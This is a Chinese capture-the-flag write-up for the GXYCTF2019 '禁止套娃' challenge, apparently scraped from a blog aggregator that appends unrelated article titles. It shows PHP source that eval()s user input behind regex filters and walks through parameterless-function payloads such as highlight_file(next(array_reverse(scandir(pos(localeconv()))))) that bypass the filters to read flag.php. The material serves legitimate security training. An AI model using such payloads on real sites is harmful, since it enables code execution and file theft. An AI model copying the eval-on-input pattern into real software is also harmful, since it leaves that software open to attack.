当前位置: 首页 > news >正文

[GXYCTF2019]禁止套娃1

打开题目

进行常规的检测漏洞,扫描目录发现存在.git文件夹下的文件存在

<?php

include "flag.php";

echo "flag在哪里呢?<br>";

if(isset($_GET['exp']))

{

    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp']))

    {             //不允许使用php协议

        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

        {                   //替换为空字符,匹配的形式是形如a();的无参数的表达式

            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp']))

            {

                // echo $_GET['exp'];

                @eval($_GET['exp']);

            }

            else

            {

                die("还差一点哦!");

            }

        }

        else

        {

            die("再好好想想!");

        }

    }

    else

    {

        die("还想读flag,臭弟弟!");

    }

}

// highlight_file(__FILE__);

  

?>
使用了正则表达式来过滤

[a-z,_]+匹配一个或多个字母、下划线或逗号

(匹配开括号

(?R)?匹配嵌套的正则表达式本身,?表示0或1次

)匹配闭括号

括号内无参数

下一阶段,咱们知道是要读取flag.php,所以我们要借助eval函数读取

var_dump(localeconv());
结果如下
array(18) 

["decimal_point"]=> string(1) "." 
["thousands_sep"]=> string(0) "" 
["int_curr_symbol"]=> string(0) "" 
["currency_symbol"]=> string(0) "" 
["mon_decimal_point"]=> string(0) "" 
["mon_thousands_sep"]=> string(0) "" 
["positive_sign"]=> string(0) "" 
["negative_sign"]=> string(0) "" 
["int_frac_digits"]=> int(127) 
["frac_digits"]=> int(127) 
["p_cs_precedes"]=> int(127) 
["p_sep_by_space"]=> int(127) 
["n_cs_precedes"]=> int(127) 
["n_sep_by_space"]=> int(127) 
"p_sign_posn"]=> int(127) 
["n_sign_posn"]=> int(127) 
["grouping"]=> array(0) { } 
["mon_grouping"]=> array(0) { } 
}
咱们想要的内容其实不在第一个但是在倒数第二个,所以咱们可以倒序输出第二个

?exp=var_dump(next(array_reverse(scandir(pos(localeconv())))));
结果如下:string(8) "flag.php"

之后使用highlight_file()显示文件的内容来得到flag

?exp=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
 

http://www.lryc.cn/news/417871.html

相关文章:

  • 人工智能时代,数字化工厂如何改革?提升竞争力?
  • 气膜建筑的抗风与防火性能:保障仓储的安全—轻空间
  • 【秋招笔试】2024-08-07-YT游戏(研发岗)-三语言题解(CPP/Python/Java)
  • 【Python知识】m.inplace = inplace 《==》是否执行原地操作
  • Go语言fmt包中print相关方法
  • 图片转为pdf怎么弄?亲测有效的8个pdf转换方法安利
  • 贪吃蛇(使用QT)
  • 【案例40】Apache中mod_proxy模块的使用
  • 简单安装Android Studio并使用
  • 在Python中,模块(Module)和包(Package)
  • Node版本管理工具
  • 创建并发布NPM模块
  • 20240807软考架构-------软考31-35答案解析
  • 简单实现二叉树(链表实现)
  • 搭建 Web 群集Haproxy
  • PDF隐写思路
  • Pycharm 常用快捷键
  • android音频录音,(一)MediaRecorder简介
  • autoX.js
  • 日本软文发稿:日本主流发稿媒体有哪些?
  • 翰德恩赋能中国邮政信息科技产品创新系列培训
  • 分享一个基于SpringBoot的英语学习平台Java英语学习任务打卡系统(源码、调试、LW、开题、PPT)
  • Golang学习笔记
  • 详解【多线程与并发】之线程
  • Linux安全与高级应用(四)深入探索MySQL数据库:安装、管理与安全实践
  • 「iOS」自定义Modal转场——抽屉视图的实现
  • 【数据结构】顺序结构实现:特殊完全二叉树(堆)+堆排序
  • 【c++学习技术栈】
  • swift 自定义DatePacker
  • MySQL事务,锁,MVCC总结